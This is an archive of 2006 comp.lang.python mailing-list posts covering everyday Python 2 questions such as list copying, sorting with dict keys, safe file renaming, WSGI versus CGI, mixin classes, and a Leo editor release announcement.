<6Zx1h.77$uA3.75@newsfe04.lga> Message-ID: <1162317681.389274.101830@e64g2000cwd.googlegroups.com> Yes, it's Python 2.3, running under Windows XP. I managed to get it working using the ZIP file. Thanks, Edward K. Ream wrote: > >I downloaded the Windows exe, ran it and a small blank message window poped > >up and that was it. > > I am still running 2.3. > > I assume you mean Python 2.3, not Leo 2.3 :-) I know for sure that Leo > works with Python 2.3. In the future, please report problems to one of Leo's > forums. And when reporting problems please tell me what platform you are > using. > > You can probably see more information by running Leo in a console. See > Leo's FAQ for instructions: > http://webpages.charter.net/edreamleo/FAQ.html#how-can-i-run-leo-from-a-console-window > > Edward > -------------------------------------------------------------------- > Edward K. Ream email: edreamleo at charter.net > Leo: http://webpages.charter.net/edreamleo/front.html > -------------------------------------------------------------------- From ilias at lazaridis.com Wed Oct 11 23:08:12 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 11 Oct 2006 20:08:12 -0700 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160618190.314729.236250@c28g2000cwb.googlegroups.com> Message-ID: <1160622492.360486.207270@m73g2000cwd.googlegroups.com> Peter Decker wrote: > On 11 Oct 2006 18:56:30 -0700, Ilias Lazaridis wrote: > > > yes, an interesting tool. > > > > But to get more attention and developers, the project needs to be > > polished. > > > > really unattractive resources: > > > > http://dabodev.com > > http://case.lazaridis.com/wiki/DaboAudit > > Well, then, why not contribute? Or are you waiting for everyone else > to do it for you? I've contributed already (my contructive criticism). It's up to the team to react. > It really grinds my gears when people take something that involves > hundreds if not thousands of hours of time that is offered to them for > free, and then nitpicks on something completely tangential. If you project infrastructure is not tangential. It's essential > want a polished website, then offer to contribute one! Terrible this open source folks. One cannot say one word without beeing asked to contribute. > Don't whine > about a couple of developers who are doing amazing things in their doing amazing things is not enouth to bring a language-community forward (or to create a python component model, which is the topic of this thread) > spare time while you're contributing absolutely nothing to the > community. I share the infrastructure which I use: http://dev.lazaridis.com/base . From vatamane at gmail.com Mon Oct 30 18:37:09 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 30 Oct 2006 15:37:09 -0800 Subject: scared about refrences... In-Reply-To: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> References: <1162236136.367603.165180@b28g2000cwb.googlegroups.com> Message-ID: <1162251429.386255.289620@e3g2000cwe.googlegroups.com> I think you are afraid of references because you are not trusting your own code. You are afraid it will do "magic" behind the scenes and mess everything up. One way around that is to simply write better code and test often. If everything was copied when passed around it would be pretty awful -- imagine passing around a 1Gb worth of data to a function... In Python all the primitives are copied and all other entities are references. If you want to just copy a list you can : 1) use the list class: new_list=list(old_list) 2) use the [:] syntax: new_list=old_list[:] 3) if your list has nested lists, for example, the above methods will not copy everything, so you need a deep copy -- copy.deepcopy() Hope this helps, Nick V. SpreadTooThin wrote: > I'm really worried that python may is doing some things I wasn't > expecting... but lets see... > > if I pass a list to a function def fn(myList): > > and in that function I modify an element in the list, then does the > callers list get modied as well. > > def fn(list): > list[1] = 0 > > myList = [1, 2, 3] > print myList > fn(myList) > print myList > > >>> [1,2,3] > >>> [1,0,3] > > How can I avoid this? In this case this is a really simplified example > but the effects are the same... > How do I specify or create deep copies of objects that may contain > other objects that may contain other > object that may contain other objects.... From hanumizzle at gmail.com Tue Oct 17 03:49:18 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 17 Oct 2006 03:49:18 -0400 Subject: How to paras such echo string effection? In-Reply-To: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> Message-ID: <463ff4860610170049o88800f9t3ba207b50c3b5450@mail.gmail.com> On 10/17/06, Kevien Lee wrote: > PS:is there any python lib for CVS ? Doubt it, but there is a Python library for Subversion (SVN > CVS anyway). -- Theerasak From fredrik at pythonware.com Tue Oct 17 15:37:51 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 21:37:51 +0200 Subject: why should dict not be callable? In-Reply-To: <1161113146.541464.80890@i3g2000cwc.googlegroups.com> References: <1161113146.541464.80890@i3g2000cwc.googlegroups.com> Message-ID: georgeryoung at gmail.com wrote: > A couple of times recently I've come across this problem: I have a > large list to sort and I need to the the "key=function" argument to > sort appropriately. But I actually have the key mapping in a big > dictionary. so use a bound method: L.sort(key=key_dict.get) From steve at REMOVE.THIS.cybersource.com.au Sat Oct 28 18:15:24 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Sun, 29 Oct 2006 09:15:24 +1100 Subject: Safely renaming a file without overwriting References: <72sb14-08j.ln1@darkstargames.dnsalias.net> Message-ID: On Sat, 28 Oct 2006 13:38:14 +0200, Wolfgang Draxinger wrote: >> But on a multi-user system, it is possible that dest is created >> in the time period between checking if it exists and attempting >> the rename. >> >> Is there any way to prevent this? Or do I just try to keep the >> check and the rename as close together as possible, minimizing >> the chances and hoping for the best? > > 1: Open the file with os.open Open "the" file? There are potentially two files -- the source and destination. I only want to do the rename if the destination *doesn't* exist, so there is no destination file to open. How will it help me to lock the source file? Have I misunderstood? -- Steven. From Eric_Dexter at msn.com Thu Oct 12 18:50:16 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 12 Oct 2006 15:50:16 -0700 Subject: is there an easy way to create a database on the fly and let the user input values In-Reply-To: References: <1160628277.112881.211410@h48g2000cwc.googlegroups.com> Message-ID: <1160693415.040804.136800@i42g2000cwa.googlegroups.com> Chris Lambacher wrote: > I've heard good things about Dabo: http://dabodev.com/ > On Wed, Oct 11, 2006 at 09:44:37PM -0700, Eric_Dexter at msn.com wrote: > > I don't realy care what database I use wx.grid or whatever. I > > wan't it to look at a line > > > > 128 9023 23428 exc and create the database or pick something out of the > > file as some sort of a descrition line and then display and allow the > > user to change and add new lines. What is the easiest set of database > > routines to use for such a project??? > > > > http://www.dexrow.com > > > > -- > > http://mail.python.org/mailman/listinfo/python-list dabo looks intresting but I am just looking for the simplist way and having to load from thier thing just complicates stuff. I could probily just use wx.grid but examples are scarce, I have seen some simple dbm stuff but this is an old book I am reading now From gagsl-py at yahoo.com.ar Fri Oct 6 21:38:23 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 06 Oct 2006 22:38:23 -0300 Subject: Names changed to protect the guilty In-Reply-To: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061006222727.045bbe00@yahoo.com.ar> At Friday 6/10/2006 22:02, MonkeeSage wrote: > > The following line of lightly munged code was found in a publicly > > available Python library... > >Yes, this violates the Holy, Inspired, Infallible Style Guide (pbuh), >which was written by the very finger of God when the world was still in It's not about style or being pythonic: a condition may be false, but not the False object itself, so writing if something is False: is the wrong way to test if something is false (isn't clear? :) ) >>> def is_odd_number(n): return n & 1 ... >>> if is_odd_number(3) is False: print "3 is odd" ... else: print "3 is even" ... 3 is even Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From apoelstra at false.site Thu Oct 12 19:49:51 2006 From: apoelstra at false.site (Andrew Poelstra) Date: Thu, 12 Oct 2006 23:49:51 GMT Subject: Starting out. In-Reply-To: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> References: <1160696277.628987.277700@i42g2000cwa.googlegroups.com> Message-ID: <1160696990.5969.4.camel@dsktp> On Thu, 2006-10-12 at 16:37 -0700, Ahmer wrote: > Hi all! > > I am a 15 year old High School Sophomore. I would like to start > programming in Python. In school, we are learning Java (5) and I like > to use the Eclipse IDE, I also am learning PHP as well. > > What are some ways to get started (books, sites, etc.)? I am usually on > linux, but I have a windows box and am planning on getting a mac. > Start by learning two hours' worth of Java. Then you can blow off the rest of the course, if your school's anything like mine. I learned Python from "A Byte of Python". It was okay, although not very refined last I checked. From there you just need to work on some random projects, and you'll become more proficient. (OT: Try to type 'proficient' with one hand on a US keyboard. :-)) -- Andrew Poelstra From steve at holdenweb.com Tue Oct 24 06:53:49 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 24 Oct 2006 11:53:49 +0100 Subject: sharing persisten cache between modules In-Reply-To: References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com> <1161621933.150100.149830@m7g2000cwm.googlegroups.com> Message-ID: Dennis Lee Bieber wrote: > On 23 Oct 2006 09:45:33 -0700, "Bart Ogryczak" > declaimed the following in comp.lang.python: > > > >>The problem is, that then it is not shared. If I do it like that, each >>module has it?s own copy of the cache. Maybe I?m doing something >>wrong. I?ve made a cache module, imported it in each of the >>submodules. I don?t know how to make the data "static". > > > Let me guess... You are using > > from cache_module import * > > to save having to qualify names with "cache_module." > > f-i-* creates local names initially bound to the objects inside a > module, but any "assignment" to such a name later results in the name > being rebound to the new object -- disconnecting from the original. > > import cache_module > > cache_module.some_name = some_object > > maintains the linkage that the name is inside the module, so all other > references that use cache_module.some_name will see the same object. Note that you can also do import cache_module_with_long_name as cm and then qualify cm to get at the module's attributes, should you have chosen to call your module something inappropriately long. This reduces the typing still further. always-looking-to-avoid-typos-ly y'rs - steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From gregpinero at gmail.com Sun Oct 8 15:34:51 2006 From: gregpinero at gmail.com (=?ISO-8859-1?Q?Gregory_Pi=F1ero?=) Date: Sun, 8 Oct 2006 15:34:51 -0400 Subject: WSGI - How Does It Affect Me? Message-ID: <312cfe2b0610081234s7eafc35crd635c2a57056aa2@mail.gmail.com> So I keep hearing more and more about this WSGI stuff, and honestly I still don't understand what it is exactly and how it differs from CGI in the fundamentals (Trying to research this on the web now) What I'm most confused about is how it affects me. I've been writing small CGI programs in Python for a while now whenever I have a need for a web program. Is CGI now considered "Bad"? I've just always found it easier to write something quickly with the CGI library than to learn a framework and fool with installing it and making sure my web host supports it. Should I switch from CGI to WSGI? What does that even mean? What is the equivalent of a quick CGI script in WSGI, or do I have to use a framework even for that? What do I do if frameworks don't meet my needs and I don't have a desire to program my own? Examples of how frameworks don't meet my needs sometimes: 1. Working with SQL Server (Most frameworks seem to at least make it extra work) 2. Need web app to get data from other programs via API (eg QuickBooks) Can any web framework work happily with win32 extensions? 3. Using IIS at all for that matter, does WSGI work on IIS, do any frameworks? Hope this question isn't too confusing or rambling, or it hasn't been covered before. (it's hard to frame these questions as search terms at least for me) -Greg Pinero From MonkeeSage at gmail.com Thu Oct 5 22:04:00 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 19:04:00 -0700 Subject: building strings from variables References: <1160098957.196734.192950@i3g2000cwc.googlegroups.com> Message-ID: <1160100240.820597.142650@k70g2000cwa.googlegroups.com> Ps. For readability you can also roll your own sprintf function: def format(s, *args, **kwargs): if args: return s % args elif kwargs: return s % kwargs else: return s s = 'I like %s and %s.' print format(s, 'ham', 'cheese') s = 'I like %(b)s and %(c)s.' print format(s, b='butter', c='eggs') > Regards, > Jordan From hanumizzle at gmail.com Wed Oct 11 04:08:47 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Wed, 11 Oct 2006 04:08:47 -0400 Subject: OT: Sarcasm and irony In-Reply-To: <3bb44c6e0610110103x7de6406dm7c1626a0724d1280@mail.gmail.com> References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <004501c6ecf0$430a6a20$03000080@hendrik> <3bb44c6e0610110103x7de6406dm7c1626a0724d1280@mail.gmail.com> Message-ID: <463ff4860610110108g71d2e025o3ac02348b2a1acbf@mail.gmail.com> On 10/11/06, bryan rasmussen wrote: > I believe they are reputed to have a sense of humor. Some of jokes I have heard on BBC World Service bordered on the unprofessional. :) After the big tsunami, one of the announcers mentioned that "we've been getting a *flood* of e-mail" only to check himself a few moments later. Black humor, if I ever heard it. LOL! -- Theerasak From python.list at tim.thechases.com Wed Oct 11 12:11:09 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Wed, 11 Oct 2006 11:11:09 -0500 Subject: Regular expression worries In-Reply-To: <1160581598.414778.11850@h48g2000cwc.googlegroups.com> References: <1160581598.414778.11850@h48g2000cwc.googlegroups.com> Message-ID: <452D179D.9040604@tim.thechases.com> > for l in > open('/root/Desktop/project/chatlog_20060819_110043.xml.txt'): > > l=l.replace("Document", "DOC") > fh.close() > > But it does not replace Document with Doc in the txt file In addition to closing the file handle for the loop *within* the loop, you're changing "l" (side note: a bad choice of names, as in most fonts, it's difficult to visually discern from the number "1"), but you're not writing it back out any place. One would do something like outfile = open('out.txt', 'w') infile = open(filename) for line in infile: outfile.write(line.replace("Document", "DOC")) outfile.close() infile.close() You could even let garbage collection take care of the file handle for you: outfile = open('out.txt', 'w') for line in open(filename): outfile.write(line.replace("Document", "DOC")) outfile.close() If needed, you can then move the 'out.txt' overtop of the original file. Or, you could just use sed 's/Document/DOC/g' $FILENAME > out.txt or with an accepting version, do it in-place with sed -i 's/Document/DOC/g' $FILENAME if you have sed available on your system. Oh...and it doesn't look like your code is using regexps for anything, despite the subject-line of your email :) I suspect they'll come in later for the "replace the tags" portion you mentioned, but that ain't in the code. -tkc From steve at holdenweb.com Tue Oct 10 06:04:59 2006 From: steve at holdenweb.com (Steve Holden) Date: Tue, 10 Oct 2006 11:04:59 +0100 Subject: Converting MSWord Docs to PDF In-Reply-To: References: Message-ID: Sybren Stuvel wrote: > melv at awc.edu enlightened us with: > >>is it possible to convert MSword docs into PDF format? > > > Yes, it is. check out http://www.stuvel.eu/ooo-python#header3. It's > about converting Excel to PDF, but it equally applies to MSWord. > However, this assumed perfect import of the .doc file into Open Office, which can't be guaranteed (though it gets better every release). So you may want to do some experimentation to find out how well the import proceeds. If that *isn't* satisfactory then a modest investment in Adobe Acrobat/Distiller plus the use of Python's scripting facilities to direct the conversion would be preferable to spending a huge amount of time writing a hand-crafted solution. >> i told my future employer that i could, because i knew >> of the COM scripting abilites that activePython had. >> and i knew there was modules for PDF creation such as >> reportlabs. >> And the next time you are bragging in that way, couch your boasts in conditional terms to avoid losing face should you happen to be wrong. A lot will depend on the complexity of the Word documents. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From pavlovevidence at gmail.com Thu Oct 26 22:46:36 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 26 Oct 2006 19:46:36 -0700 Subject: question about True values References: <17727.47016.632530.720950@montanaro.dyndns.org> <7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar> <7xfydbhkso.fsf@ruckus.brouhaha.com> <7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar> Message-ID: <1161917196.676362.318480@h48g2000cwc.googlegroups.com> Ben Finney wrote: > Gabriel Genellina writes: > > > At Wednesday 25/10/2006 23:29, Paul Rubin wrote: > > >Steve Holden writes: > > >I get that iter(()) is True (Python 2.3.4). > > > > It's False on 2.4.2 - and perhaps it's what one would expect, but > > since this behavior is not documented anywhere, one should not count > > on it. Good advice, because on 2.5 it's True again. > Doesn't this fall under "any empty sequence" in the following list of > evaluates-to-false: Nope. An iterator is not a sequence, and it's impossible to determine whether an iterator is "empty" in general, except by trying to get an item from it. So even in 2.4.3 some "empty" iterators return True: >>> a = [] >>> bool(x for x in a) True The only reasonable advice is to avoid the direct boolean test ("if a:") altogether if you want to support iterators. Unfortunately, iterators and lists have a lot of overlapping use, and it's very common to test for emptiness of lists using "if a:". If one tries to use an iterator where a list is expected it could lead to a silent failure. IMO, this is big time wart in the language. Iterators have no calculatable truth value; for many other types a truth value doesn't make sense (for instance: function objects, type objects, modules, user-defined types that don't bother with __nonzero__). Using such objects in a boolean context is almost always an error. Objects of these types should raise exceptions when used as a boolen. numpy arrays wisely already do this. (I'll stop short of mentioning that, because neither numpy arrays nor iterators consider "empty" to be "false", the idea that "empty" is "false" is very far from self-evident; therefore lists, tuples, dicts, and sets should also raise exceptions when used as a boolean. I won't mention that, though.) Carl Banks From http Sat Oct 14 21:00:16 2006 From: http (Paul Rubin) Date: 14 Oct 2006 18:00:16 -0700 Subject: Need a function. Any built-in function or module for this? References: <1160872724.767973.85150@m7g2000cwm.googlegroups.com> Message-ID: <7x7iz2cs0v.fsf@ruckus.brouhaha.com> "wcc" writes: > Specify direction[Left/Right/Up/Down] or : > > And if user type "L" or , the function will return "Left", if > user type "R", the function will return "Right", etc.. Hmm: def getchoice(prompt, choices, default): """prompt is a format string with a %s where the list of choices should go, and another %s where the default should go; choices is a list of choices; default is the default choice""" assert default in choices prompt %= ('/'.join(choices), default) while True: c = raw_input (prompt) if not c: return default a = [x for x in choices if x.startswith(c)] if len(a) == 0: print 'Please choose one of', '/'.join(choices) elif len(a) > 1: print 'ambiguous, enter a unique prefix' else: return a[0] def test(): print getchoice('Specify direction %s or <%s>: ', ("Left","Lexy","Right","Up","Down"), "Left") test() From horpner at yahoo.com Thu Oct 26 11:54:51 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Thu, 26 Oct 2006 15:54:51 GMT Subject: What's the best IDE? References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com> <453ff3a7$0$23866$426a74cc@news.free.fr> <1161822032.211125.272160@h48g2000cwc.googlegroups.com> <454004a9$0$19602$88260bb3@free.teranews.com> <1161828498.791044.144040@f16g2000cwb.googlegroups.com> <7g40h.165$1n3.4282@news.tufts.edu> Message-ID: On 2006-10-26, John Salerno wrote: > Hakusa at gmail.com wrote: >> as I have yet to try Vim - maybe I'll try tomarrow. > > Warning: Vim isn't something you just "try tomorrow" :) You can become proficient enough for basic editing in about 20 minutes with the built-in tutorial. Getting it to work seemlessly with Python code will take considerably longer. -- Neil Cerutti From neoedmund at gmail.com Mon Oct 16 02:00:45 2006 From: neoedmund at gmail.com (neoedmund) Date: 15 Oct 2006 23:00:45 -0700 Subject: python's OOP question In-Reply-To: <1160965550.658535.122030@i42g2000cwa.googlegroups.com> References: <1160962754.613391.254330@e3g2000cwe.googlegroups.com> <1160965310.124476.67550@e3g2000cwe.googlegroups.com> <1160965550.658535.122030@i42g2000cwa.googlegroups.com> Message-ID: <1160978445.619273.240680@b28g2000cwb.googlegroups.com> I found a dynamic way to inherite classes: def MixIn(pyClass, mixInClass): if mixInClass not in pyClass.__bases__: pyClass.__bases__ += (mixInClass,) def test1(): o = C3() MixIn(C3,C1) MixIn(C3,C2) o.m() "expected aaa" neoedmund wrote: > thank you, Kay. > > But i need a "dynamic" way. Say i have a existing class, and add some > method from other class into it. > > > Kay Schluehr wrote: > > neoedmund wrote: > > > There's a program, it's result is "unexpected aaa", i want it to be > > > "expected aaa". how to make it work? > > > > > > [code] > > > > > > class C1(object): > > > def v(self, o): > > > return "expected "+o > > > > > > class C2(object): > > > def v(self, o): > > > return "unexpected "+o > > > def m(self): > > > print self.v("aaa") > > > > > > class C3(object): > > > def nothing(self): > > > pass > > > > > > def test1(): > > > o = C3() > > > setattr(o,"m",C2().m) > > > setattr(o,"v",C1().v) > > > o.m() > > > > > > test1() > > > > > > [/code] > > > > class C3(C1, C2):pass > > > > >>> C3.mro() # shows method resolution order > > [, , , > > ] > > > > >>> o = C3() > > >>> o.m() > > expected aaa From syedamjad_a at yahoo.com Sun Oct 29 15:28:21 2006 From: syedamjad_a at yahoo.com (CSUIDL PROGRAMMEr) Date: 29 Oct 2006 12:28:21 -0800 Subject: looping through two list simultenously Message-ID: <1162153701.052043.160030@h48g2000cwc.googlegroups.com> folks I have two lists i am trying to loop thorough them simultenously. Here is the code i am using f1 = os.popen('ls chatlog*.out') data1=f1.readlines() f1.close() data1=[x.strip() for x in data1] f1 = os.popen('ls chatlog*.txt') data=f1.readlines() f1.close() for eachline in data1 and line in data: filename='/root/Desktop/project/'+ eachline print filename outfile=open(filename,'r') filename1='/root/Desktop/project/' + line print filename1 I get the error that line is not defined. Traceback (most recent call last): File "list.py", line 16, in ? for eachline in data1 and line in data: NameError: name 'line' is not defined Is there any efficient doing this From nyamatongwe+thunder at gmail.com Mon Oct 23 19:25:47 2006 From: nyamatongwe+thunder at gmail.com (Neil Hodgson) Date: Mon, 23 Oct 2006 23:25:47 GMT Subject: multythreading app memory consumption In-Reply-To: References: Message-ID: <%bc%g.51888$rP1.42308@news-server.bigpond.net.au> Roman Petrichev: > Dennis Lee Bieber wrote: >> How much stack space gets allocated for 150 threads? > Actually I don't know. How can I get to know this? On Linux, each thread will often be allocated 10 megabytes of stack. This can be viewed and altered with the ulimit command. Neil From vatamane at gmail.com Tue Oct 10 03:19:31 2006 From: vatamane at gmail.com (Nick Vatamaniuc) Date: 10 Oct 2006 00:19:31 -0700 Subject: Everything is a distributed object References: Message-ID: <1160464771.653043.146600@i42g2000cwa.googlegroups.com> See here: http://wiki.python.org/moin/DistributedProgramming -Nick V. Martin Drautzburg wrote: > Hello all, > > I've seen various attempts to add distributed computing capabilities on top > of an existing language. For a true distributed system I would expect it to > be possible to instantiate objects of a remote class or to subclass a > remote class and other stuff like this. My impression is that those things > are difficult when built on top of an existing language. > > Since the paradigm "everything is an object" pays so well, I thought it > might be less painful to implement a distributed system from ground up, > starting with the paradigm: "everything is a distributed object". > > Do you know if such a thing has been attempted with python, i.e. by hacking > the python core and add new capabilities to "object". Or do you think that > this is really a silly idea ? From sybrenUSE at YOURthirdtower.com.imagination Thu Oct 26 14:22:27 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Thu, 26 Oct 2006 20:22:27 +0200 Subject: which one of these is better? References: Message-ID: John Salerno enlightened us with: > Hmm, looks like this doesn't work anyway if open() doesn't work, > because then f.close() raises an UnboundLocalError for obvious > reasons. Neither work 100% correct, actually. If the file can be located and opened, but not read, the message Could not locate the file "labtables.sql" File Not Found is plain wrong. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From http Wed Oct 25 01:12:35 2006 From: http (Paul Rubin) Date: 24 Oct 2006 22:12:35 -0700 Subject: Getting a lot of SPAM from this list References: <7.0.1.0.0.20061023175044.05c75ec8@yahoo.com.ar> <17725.12208.931743.88672@montanaro.dyndns.org> Message-ID: <7xbqo10yik.fsf@ruckus.brouhaha.com> "Eric S. Johansson" writes: > I have a solution that has been working for me for the past three or > four years. I'm almost done with the next release (I pray) with a > better installation process as well as improvements throughout the > system. I've given up on email pretty much. I no longer have a public email address of any type. I just give out a URL (including on my resume, business cards, etc), which leads to a HTTPS contact form. It's been quite reliable and I get very little spam that way. From fredrik at pythonware.com Fri Oct 20 05:20:25 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 11:20:25 +0200 Subject: Why the result References: <1161335207.108215.104160@b28g2000cwb.googlegroups.com> Message-ID: "HYRY" wrote: > Why the third print stement output "'comments': [(1, 2, 3)]", I think > it should be []. default arguments are calculated once. for details, see the tutorial http://docs.python.org/tut/node6.html#SECTION006710000000000000000 and the FAQ: http://pyfaq.infogami.com/why-are-default-values-shared-between-objects and the language reference: http://python.org/doc/ref/function.html http://pyref.infogami.com/def From tjreedy at udel.edu Mon Oct 2 20:26:42 2006 From: tjreedy at udel.edu (Terry Reedy) Date: Mon, 2 Oct 2006 20:26:42 -0400 Subject: Problem with .next() method adding junk characters. References: <1159761338.068956.245450@h48g2000cwc.googlegroups.com> <1159815294.457908.46190@e3g2000cwe.googlegroups.com> Message-ID: "Rainy" wrote in message news:1159815294.457908.46190 at e3g2000cwe.googlegroups.com... > > Paul McGuire wrote: >> I would guess then that the likely extent of any fix to this "bug" would >> be >> documentation to the effect of Fredrik's last comment above. > > Thanks.. I get it now. Should I close the bug report then? Either that, or change it to a doc bug and suggest the addition to the beginning of the second paragraph of "When switching from reading or writing (or vice versa), call flush(), or the result will be undefined." Terry Jan Reedy From vedran_dekovic at yahoo.com Tue Oct 3 07:59:12 2006 From: vedran_dekovic at yahoo.com (vedran_dekovic at yahoo.com) Date: 3 Oct 2006 04:59:12 -0700 Subject: py_s60 HELP Message-ID: <1159876752.839727.286960@m73g2000cwd.googlegroups.com> Hello, I using py_s60 for calling from my program to phone,but I have one problem. When I want run py_s60 with python 2.4: FIRST ERROR: >>> import telephone Traceback (most recent call last): File "", line 1, in -toplevel- if e32.s60_version_info>=(3,0): AttributeError: 'module' object has no attribute 's60_version_info' SECOND ERROR: >>> import telephone Traceback (most recent call last): File "", line 1, in -toplevel- import _telephone ImportError: No module named _telephone ...I was search everywhere for that module but I can't find it THANKS FOR HELP!!!!!!!!!!!!! From ptmcg at austin.rr._bogus_.com Wed Oct 4 11:53:39 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Wed, 04 Oct 2006 15:53:39 GMT Subject: A Universe Set References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: <7OQUg.3208$5o5.2338@tornado.texas.rr.com> "Jorgen Grahn" wrote in message news:slrnei7icb.gim.grahn+nntp at frailea.sa.invalid... > - the black hole function 'def f(*args): pass' > - the identity function 'def f(x): return x' > Also not so farfetched. See the disable and enable decorators at http://wiki.python.org/moin/PythonDecoratorLibrary#head-8298dbf9ac7325d9ef15e7130e676378bbbda572. -- Paul From hanumizzle at gmail.com Tue Oct 17 03:57:38 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 17 Oct 2006 03:57:38 -0400 Subject: How to paras such echo string effection? In-Reply-To: References: <8c8dcbe30610170044m19c93c2em79dc38694cd44fd8@mail.gmail.com> Message-ID: <463ff4860610170057l12462864n12d9819ec0b9e979@mail.gmail.com> On 10/17/06, Fredrik Lundh wrote: > Kevien Lee wrote: > > > PS:is there any python lib for CVS ? > > there's some stuff in Demo/pdist in the Python source distribution, > including a module called "cvslib". then I stand corrected... -- Theerasak From Roka100 at gmail.com Fri Oct 6 00:45:47 2006 From: Roka100 at gmail.com (Jia,Lu) Date: 5 Oct 2006 21:45:47 -0700 Subject: [Linux] Detect a key press Message-ID: <1160109947.304308.83910@i3g2000cwc.googlegroups.com> Hi all I write a program to detect key press,but , why there is a *space* before the character I typed.?? #!/usr/bin/env python import sys import tty import termios i = sys.stdin.fileno() o = sys.stdout.fileno() backup = termios.tcgetattr(i) def loop(): while 1: ch = sys.stdin.read(1) print "->%s"%ch if ch == 'q':break try: tty.setraw(i) loop() finally: termios.tcsetattr(i, termios.TCSADRAIN, backup) From edreamleo at charter.net Sun Oct 29 10:05:57 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Sun, 29 Oct 2006 09:05:57 -0600 Subject: ANN: Leo 4.4.2.1 final released Message-ID: Leo 4.4.2.1 final is now available at: http://sourceforge.net/project/showfiles.php?group_id=3458&package_id=29106 Leo 4.4.2.1 final fixes a recent bug that caused Leo not to create the .leoRecentFiles.txt file properly in some situations. There are no known significant bugs in this version of Leo. Leo 4.4.2 final fixes a few bugs and adds support for pymacs. Leo is a text editor, data organizer, project manager and much more. See: http://webpages.charter.net/edreamleo/intro.html The highlights of Leo 4.4.2: ---------------------------- - You can now store settings in myLeoSettings.leo without fear of those settings being changed by cvs updates or in future versions of Leo. - Leo's vnode and tnode classes are now completely independent of the rest of Leo. Some api's have been changed. This 'big reorg' and may affect scripts and plugins. - Leo's vnode and tnode classes can optionally be compatible with ZODB databases, i.e., they can optionally derive from ZODB.Persistence.Persistent. See Chapter 17: Using ZODB with Leo for details. - The leoOPML plugin defines commands to read and write OPML files. - The slideshow plugin allows Leo to run slideshows defined by @slideshow and @slide nodes. - The leo_to_rtf and leo_to_html plugins create rtf and html files from Leo outlines. - Much faster navigation through the outline. - When focus is in the outline pane, you can move to headlines by typing the first letter of headlines. - The find command now optionally closes nodes not needed to show the node containing the present match. - Numerous changes that make Leo easier to use without using a mouse, including new commands and options. - Many new minibuffer commands now appear in the Cmds menu. - A sax parser can now optionally read .leo files. Links: ------ Leo: http://webpages.charter.net/edreamleo/front.html What's new: http://webpages.charter.net/edreamleo/new-4-4-2.html Home: http://sourceforge.net/projects/leo/ Download: http://sourceforge.net/project/showfiles.php?group_id=3458 CVS: http://leo.tigris.org/source/browse/leo/ Leo's Wiki: http://leo.zwiki.org/FrontPage Wikipedia: http://en.wikipedia.org/wiki/Leo_%28text_editor%29 Quotes: http://webpages.charter.net/edreamleo/testimonials.html -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From joncle at googlemail.com Wed Oct 25 05:17:48 2006 From: joncle at googlemail.com (Jon Clements) Date: 25 Oct 2006 02:17:48 -0700 Subject: dict problem In-Reply-To: References: Message-ID: <1161767868.192915.276830@k70g2000cwa.googlegroups.com> Alistair King wrote: > Hi, > > ive been trying to update a dictionary containing a molecular formula, but seem to be getting this error: > > > Traceback (most recent call last): > File "DS1excessH2O.py", line 242, in ? > updateDS1v(FCas, C, XDS) > NameError: name 'C' is not defined > > dictionary is: > > DS1v = {'C': 6, 'H': 10, 'O': 5} > > > > #'Fxas' in each case will be integers but 'atoms' should be a float > > def updateDS1v(Fxas, x, XDS): > while Fxas != 0: > atoms = DS1v.get('x') + Fxas*XDS > DS1v[x] = atoms > > updateDS1v(FCas, C, XDS) > updateDS1v(FHas, H, XDS) > 